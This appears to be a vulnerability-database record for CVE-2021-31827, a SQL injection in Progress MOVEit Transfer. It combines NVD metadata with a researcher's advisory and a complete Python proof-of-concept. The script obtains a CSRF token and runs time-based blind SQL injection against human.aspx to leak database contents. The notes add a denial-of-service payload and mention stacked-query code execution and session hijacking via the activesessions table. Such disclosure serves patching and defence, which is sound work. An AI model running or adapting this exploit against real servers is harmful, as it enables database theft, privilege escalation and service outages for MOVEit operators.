In Progress MOVEit Transfer before 2021.0 (13.0), a SQL injection vulnerability has been found in the MOVEit Transfer web app that could allow an authenticated attacker to gain unauthorized access to MOVEit Transfer's database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database in addition to executing SQL statements that alter or destroy database elements. This is in MOVEit.DMZ.WebApp in SILHuman.vb.
{"id": "CVE-2021-31827", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-31827", "description": "In Progress MOVEit Transfer before 2021.0 (13.0), a SQL injection vulnerability has been found in the MOVEit Transfer web app that could allow an authenticated attacker to gain unauthorized access to MOVEit Transfer's database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database in addition to executing SQL statements that alter or destroy database elements. This is in MOVEit.DMZ.WebApp in SILHuman.vb.", "published": "2021-05-18T12:15:00", "modified": "2021-05-25T15:04:00", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.5}, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-31827", "reporter": "cve@mitre.org", "references": ["https://docs.ipswitch.com/MOVEit/Transfer2021/ReleaseNotes/en/index.htm", "https://community.progress.com/s/article/MOVEit-Transfer-Vulnerability-April-2021", "https://www.progress.com/moveit"], "cvelist": ["CVE-2021-31827"], "immutableFields": [], "lastseen": "2022-03-23T18:09:23", "viewCount": 12, "enchantments": {"dependencies": {"references": [{"type": "srcincite", "idList": ["SRC-2021-0014"]}], "rev": 4}, "score": {"value": 2.5, "vector": "NONE"}, "backreferences": {"references": [{"type": "srcincite", "idList": ["SRC-2021-0014"]}]}, "exploitation": null, "vulnersScore": 2.5}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": ["CWE-89"], "affectedSoftware": [{"cpeName": "progress:moveit_transfer", "version": "2021.0", "operator": "lt", "name": "progress moveit transfer"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:progress:moveit_transfer:2021.0:*:*:*:*:*:*:*", "versionEndExcluding": "2021.0", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://docs.ipswitch.com/MOVEit/Transfer2021/ReleaseNotes/en/index.htm", "name": "https://docs.ipswitch.com/MOVEit/Transfer2021/ReleaseNotes/en/index.htm", "refsource": "MISC", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://community.progress.com/s/article/MOVEit-Transfer-Vulnerability-April-2021", "name": "https://community.progress.com/s/article/MOVEit-Transfer-Vulnerability-April-2021", "refsource": "MISC", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://www.progress.com/moveit", "name": "https://www.progress.com/moveit", "refsource": "MISC", "tags": ["Product", "Vendor Advisory"]}]}
{"srcincite": [{"lastseen": "2022-04-20T17:15:32", "description": "**Vulnerability Details:**\n\nThis vulnerability allows remote attackers to execute arbitrary code on affected installations of MOVEit Transfer. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the FolderApplySettingsRecurs function of the SILHuman class. The issue results from the lack of proper validation of the user-supplied parameters when calling the folderapplysubfoldersettings transaction. An attacker can leverage this vulnerability to execute code in the context of the database server.\n\n**Affected Vendors:**\n\nProgress\n\n**Affected Products:**\n\nMOVEit Transfer (DMZ) <= 2020.1 (12.1.1.116)\n\n**Vendor Response:**\n\nProgress has issued an update to correct this vulnerability. More details can be found at: <https://community.progress.com/s/article/MOVEit-Transfer-Vulnerability-April-2021>\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-03T00:00:00", "type": "srcincite", "title": "SRC-2021-0014 : Progress MOVEit Transfer (DMZ) SILHuman FolderApplySettingsRecurs SQL Injection Remote Code Execution Vulnerability", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31827"], "modified": "2021-05-11T00:00:00", "id": "SRC-2021-0014", "href": "https://srcincite.io/advisories/src-2021-0014/", "sourceData": "#!/usr/bin/env python3\n\"\"\"\nProgress MOVEit Transfer (DMZ) SILHuman FolderApplySettingsRecurs SQL Injection Remote Code Execution Vulnerability\nSteven Seeley of 360 Vulcan Team\nCVE: CVE-2021-31827\nSoftware: https://www.ipswitch.com/moveit\nVersion: 2020.1 (12.1.1.116)\nCVSS: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\n# Summary\n\nAn authenticated low privileged user can trigger an sql injection which can result in either a denial of service, elevation of privilege or remote code execution (if Postgres or MSSQL is configured).\n\n# Notes\n\n- Rapid-Fail Protection Maximum Failures is set to 5. This means that we can only crash the target 5 times before the apppool is shutdown and we cause a permanent DoS. To avoid this I used a time based blind injection.\n- This poc was tested on MySQL and as such only triggers a data leak, but if you want to trigger a DoS, then the following payload triggered 5 times will be sufficient: \"1) left join folderperms as sfp on pfp.Username=sfp.Username and 1=1 limit 1-- \". The payload will return a valid result set and trigger a recursive call in the `FolderApplySettingsRecurs` function and eventually cause a stack exhaustion. Likewise if you want to trigger an RCE then you will need to use stacked queries against an instance configured with Postgres or MSSQL server.\n- The query will take over 5 seconds to return if the character is true when we sleep for 0.71 of a second. \n\n```\nmysql> SELECT sfp.ID,sfp.FolderPath,sfp.FolderPathHash FROM folderperms AS pfp LEFT JOIN folders ON pfp.ID=folders.ParentID AND folders.FolderType In (4,1) left join folderperms as sfp on pfp.Username=sfp.Username and if(1=1,sleep(0.71),null) limit 1;\n+------+------------+----------------+\n| ID | FolderPath | FolderPathHash |\n+------+------------+----------------+\n| NULL | NULL | NULL |\n+------+------------+----------------+\n1 row in set (5.04 sec)\n```\n\n# Vulnerability Analysis\n\nInside of the `SILHuman.PerformAction` function we can see:\n\n```\n// MOVEit.DMZ.WebApp.SILHuman\npublic void PerformAction(bool IsRecursive = false)\n{\n\n // ...\n else if (num <= 3595407778U)\n {\n if (num <= 3560491993U)\n {\n if (num != 3550431888U)\n {\n if (num != 3554175998U)\n {\n // ...\n return;\n }\n else\n {\n if (Operators.CompareString(text7, \"folderapplysubfoldersettings\", false) != 0)\n {\n return;\n }\n if (Operators.CompareString(this.siGlobs.Opt01, \"\", false) != 0)\n {\n if (Operators.CompareString(this.siGlobs.Opt02, \"\", false) == 0)\n {\n this.siGlobs.Opt02 = Conversions.ToString(0);\n }\n if (Operators.CompareString(this.siGlobs.Opt05, \"\", false) == 0)\n {\n this.siGlobs.Opt05 = \"0\";\n }\n string arg17 = this.siGlobs.Arg01;\n bool flag2 = true;\n SILDictionarysildictionary = null;\n string left = \"\";\n this.FolderApplySettingsRecurs(arg17, ref flag2, ref sildictionary, ref left, ref this.siGlobs.Opt04); // 1\n```\n\nThis function is over 10k lines of code, so I have only included what's relevant for the sake of brevity. `num` is a calculated hash from the attacker supplied `Transaction` parameter and assuming that the attacker supplies `Transaction=folderapplysubfoldersettings` then they can reach *[1]* which is a call to `FolderApplySettingsRecurs`.\n\nHowever the last parameter is coming from the attacker supplied POST body.\n\n```\n// MOVEit.DMZ.ClassLib.SILGlobals\npublic void GetWebVarsWEBFORMPOST()\n{\n // ...\n this.Opt04 = SILUtility.XHTMLClean(form.Get(\"Opt04\"), true);\n // ...\n}\n```\n\nThe `XHTMLClean` function will html encode ' characters, but that's ok because we don't need quotes in this sql injection.\n\n```\n// MOVEit.DMZ.WebApp.SILHuman\n// Token: 0x060000FF RID: 255 RVA: 0x000328F8 File Offset: 0x00030AF8\npublic void FolderApplySettingsRecurs(string ParentID, ref bool IsOrig = true, ref SILDictionaryOrigArgs = null, ref string ErrStr = \"\", ref string SystemFolderTypes = \"\")\n{\n if (IsOrig & OrigArgs == null)\n {\n // ...\n }\n string query = string.Empty;\n ADORecordset adorecordset = null;\n string text = Conversions.ToString(4);\n if (Operators.CompareString(SystemFolderTypes, \"\", false) != 0)\n {\n text = text + \",\" + SystemFolderTypes; // 2\n }\n string text2 = string.Empty;\n string empty = string.Empty;\n SILUtility.SplitFolderIDAndPathHash(ParentID, ref text2, ref empty);\n string text3 = \"REPLACE(REPLACE(pfp.FolderPath,'_','\\\\_'),'%','\\\\%')\";\n if (this.siGlobs.objWrap.Connection.Engine == SIDBEngine.SQLServer)\n {\n text3 = \"REPLACE(REPLACE(\" + text3 + \",'[','\\\\['),']','\\\\]')\";\n }\n text3 = \"CONCAT(\" + text3 + \", CASE WHEN pfp.FolderPath='/' THEN '%' ELSE '/%' END)\";\n query = string.Concat(new string[]\n {\n \"SELECT sfp.ID,sfp.FolderPath,sfp.FolderPathHash FROM folderperms AS pfp LEFT JOIN folders ON pfp.ID=folders.ParentID AND folders.FolderType In (\",\n text, // 3\n \") LEFT JOIN folderperms AS sfp ON pfp.Username=sfp.Username AND folders.ID=sfp.ID WHERE \",\n this.siGlobs.objUser.GetMyUsernameWHEREClauseForFolderPerms(\"pfp\"),\n \"AND pfp.ID='\",\n text2,\n \"' AND pfp.FolderPathHash='\",\n empty,\n \"' AND \",\n this.siGlobs.objUtility.BuildLikeForSQL(\"sfp.FolderPath\", text3, true, false, false, false)\n });\n this.siGlobs.objWrap.DoReadQuery(query, ref adorecordset, true, true); // 4\n // ...\n}\n```\n\nAt *[2]* and *[3]* the code concatenates the attacker supplied string into a query. Then at *[4]* an sql injection is triggered. But before we can reach `PerformAction`, the `ProcessHumanRequest` function checks if a username is not \"Anonymous\" which means the attacker will need a low privileged account to trigger this vulnerability.\n\n```c#\n public void ProcessHumanRequest()\n {\n if (!(Operators.CompareString(this.siGlobs.objUser.Username, \"Anonymous\", false) == 0 | this.siGlobs.objUser.Permission <= (UserPermissionType)4)) // auth check (weak but enough to minimise impact)\n {\n this.PerformAction(false);\n }\n```\n\nThe full stacktrace can be reviewed below:\n\n```\n> midmz.dll!MOVEit.DMZ.WebApp.SILHuman.FolderApplySettingsRecurs(string ParentID, ref bool IsOrig, ref MOVEit.DMZ.Core.SILDictionaryOrigArgs, ref string ErrStr, ref string SystemFolderTypes) (IL=0x02B6, Native=0x00007FFACED92E90+0x52E)\n midmz.dll!MOVEit.DMZ.WebApp.SILHuman.PerformAction(bool IsRecursive) (IL=0x603A, Native=0x00007FFACED61AD0+0xBA1B)\n midmz.dll!MOVEit.DMZ.WebApp.SILHuman.ProcessHumanRequest() (IL\u22480x0037, Native=0x00007FFACED61820+0x61)\n midmz.dll!MOVEit.DMZ.WebApp.SILHuman.Human_Main() (IL=0x2A7D, Native=0x00007FFACED30080+0x6465)\n midmz.dll!MOVEit.DMZ.WebApp.SILHuman.GetHumanHTMLNew(ref System.Web.HttpRequest parmRequest, ref System.Web.HttpResponse parmResponse, ref System.Web.SessionState.HttpSessionState parmSession, ref System.Web.HttpApplicationState parmApplicationState) (IL=0x0080, Native=0x00007FFACEBDDE80+0x1A9)\n midmz.dll!MOVEit.DMZ.WebApp.human.Page_Load(object sender, System.EventArgs e) (IL\u22480x0024, Native=0x00007FFACEBDDBA0+0xD9)\n System.Web.dll!System.Web.UI.Control.OnLoad(System.EventArgs e) (IL\u22480x0021, Native=0x00007FFB266F3170+0x6A)\n System.Web.dll!System.Web.UI.Control.LoadRecursive() (IL=0x002E, Native=0x00007FFB266F31E0+0x44)\n System.Web.dll!System.Web.UI.Page.ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x04C3, Native=0x00007FFB26701330+0xEC9)\n System.Web.dll!System.Web.UI.Page.ProcessRequest(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x003C, Native=0x00007FFB267010D0+0x9F)\n System.Web.dll!System.Web.UI.Page.ProcessRequest() (IL\u22480x0014, Native=0x00007FFB26701040+0x4B)\n System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFB26DD56F0+0xC3)\n System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL\u22480x0015, Native=0x00007FFB266C6820+0x58)\n System.Web.dll!System.Web.Util.AspCompatApplicationStep.ExecuteAspCompatCode() (IL\u22480x001F, Native=0x00007FFB26E931C0+0x65)\n System.Web.dll!System.Web.Util.AspCompatApplicationStep.OnAspCompatExecution() (IL\u22480x0024, Native=0x00007FFB26E932D0+0x60)\n```\n\n# Exploitation\n\nThe db user is moveitdmz with limited privileges under MySQL:\n\n```\nmysql> SHOW GRANTS for moveitdmz@localhost;\n+------------------------------------------------------------------+\n| Grants for moveitdmz@localhost |\n+------------------------------------------------------------------+\n| GRANT USAGE ON *.* TO `moveitdmz`@`localhost` |\n| GRANT ALL PRIVILEGES ON `moveitdmz`.* TO `moveitdmz`@`localhost` |\n+------------------------------------------------------------------+\n2 rows in set (0.00 sec)\n\nmysql>\n```\n\nAlso, stack based queries and inserts/updates are not possible under MySQL. However, an attacker can target the activesessions table to escalate privileges:\n\n```\nmysql> select LoginName,SessionID from activesessions;\n+-----------+--------------------------+\n| LoginName | SessionID |\n+-----------+--------------------------+\n| harryh | dkb54yja0xrsvih1iqmcmkmy |\n+-----------+--------------------------+\n1 row in set (0.00 sec)\n```\n\n# Proof of Concept\n\n```\nresearcher@incite:~$ ./poc.py\n(+) usage: ./poc.py(+) eg: ./poc.py 192.168.1.123 l32c5syb2wiuzy4crf2rulcs\n\nresearcher@incite:~$ ./poc.py 192.168.1.123 fino23lobcxjrsahtrci5srj\n(+) targeting 192.168.1.123\n(+) obtained csrftoken: 816a81e11788cfec1e503f41aeee3b02390b13e4\n(+) sql injection working!\n(+) MySQL version: 8.0.21-commercial\n(+) done!\n```\n\"\"\"\nimport re\nimport sys\nimport urllib3\nimport requests\nfrom time import time\nurllib3.disable_warnings()\n\ndef determine_bool(target, sessid, csrftk, exp):\n p = {\n \"Transaction\" : \"folderapplysubfoldersettings\",\n \"CsrfToken\": csrftk,\n \"Opt01\": 1,\n \"Opt04\" : \"1) left join folderperms as sfp on pfp.Username=sfp.Username and if(%s,sleep(0.71),null) limit 1-- \" % exp\n }\n c = { \"ASP.NET_SessionId\" : sessid }\n before = time()\n requests.post(\"https://%s/human.aspx\" % target, data=p, cookies=c, verify=False)\n after = time()\n if ((after-before) > 5): return True\n return False\n \ndef trigger_sqli(target, sessid, csrftk, char, sql, c_range):\n for i in c_range:\n if determine_bool(\n target, \n sessid, \n csrftk, \n \"ascii(substr((%s),%d,1))=%d\" % (sql, char, i)\n ): return chr(i)\n return -1\n\ndef leak_string(target, sessid, csrftk, sql, leak_name, max_length, c_range):\n sys.stdout.write(\"(+) %s: \" % leak_name)\n sys.stdout.flush()\n leak_string = \"\"\n for i in range(1,max_length+1):\n c = trigger_sqli(target, sessid, csrftk, i, sql, c_range)\n if c == -1:\n break\n leak_string += c\n sys.stdout.write(c)\n sys.stdout.flush()\n assert len(leak_string) > 0, \"(+) sql injection failed for %s!\" % leak_name\n return leak_string \n\ndef get_csrf(target, sessid):\n c = { \"ASP.NET_SessionId\" : sessid }\n r = requests.get(\"https://%s/human.aspx\" % target, params={\"arg12\":\"account\"}, cookies=c, verify=False)\n match = re.search(\"csrftoken\\\" value=\\\"(.{40})\", r.text)\n assert match, \"(-) was unable to obtain csrf token!\"\n return match.group(1)\n \ndef main():\n if(len(sys.argv) < 3):\n print(\"(+) usage: %s\" % sys.argv[0])\n print(\"(+) eg: %s 192.168.1.123 l32c5syb2wiuzy4crf2rulcs\" % sys.argv[0])\n return\n target = sys.argv[1]\n sessid = sys.argv[2]\n print(\"(+) targeting %s\" % target)\n csrftk = get_csrf(target, sessid)\n print(\"(+) obtained csrftoken: %s\" % csrftk)\n if determine_bool(target, sessid, csrftk, \"1=1\") and not determine_bool(target, sessid, csrftk, \"1=2\"):\n print(\"(+) sql injection working!\")\n version = leak_string(\n target,\n sessid, \n csrftk,\n \"select @@version\", # target query\n \"MySQL version\", # pretty print\n 20, # the assumed max length of @@version\n list(range(45,58)) + list(range(97,123)) # decimal charset: 0-9a-z-./\n )\n print(\"\\n(+) done!\")\n\nif __name__ == '__main__':\n main()", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "sourceHref": "https://srcincite.io/pocs/cve-2021-31827.py.txt"}]}